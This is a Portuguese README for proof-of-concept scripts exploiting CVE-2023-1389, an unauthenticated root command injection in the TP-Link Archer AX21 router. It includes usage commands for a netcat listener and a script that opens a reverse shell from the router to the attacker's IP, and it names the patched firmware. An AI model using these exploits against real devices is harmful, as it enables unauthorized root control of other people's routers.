Provas de conceito para CVE-2023-1389, uma injeção de comando não autenticada no TP-Link Archer AX21, fornecendo capacidades de transferência de arquivos e shell reverso.
CVE-2023–1389 é uma vulnerabilidade de Injeção de Comando não Autenticada no roteador WiFi TP-Link Archer AX21. Um callback no parâmetro country usa a função popen(), que é executada como root, permitindo que o atacante injete valores arbitrários através de requisições GET ou POST na interface de administração, sem exigir autenticação. Mais detalhes sobre a vulnerabilidade podem ser encontrados aqui.
Estas são algumas provas de conceito que criei enquanto explorava a injeção de comando. O Archer-file-transfer.py foi a primeira iteração e é bastante complicado na forma como alcança a interação. O Archer-rev-shell.py oferece um shell reverso netcat simples, e é provavelmente o que você está procurando. Se quiser saber mais sobre o desenvolvimento destes scripts, pode ler o post aqui.
Em uma janela do terminal:
nc your_IP listener_port
Em uma segunda janela do terminal:
python3 archer-rev-shell.py -r router_IP -a your_IP -p listner_port
A TP-Link lançou a versão de firmware 1.1.4 Build 20230219 que corrige o problema removendo o callback vulnerável. Atualizar o roteador para o firmware mais recente deve proteger o seu dispositivo.
Provavelmente não manterei essas PoCs. Ambas são bastante simples e devem ser fáceis de modificar conforme necessário.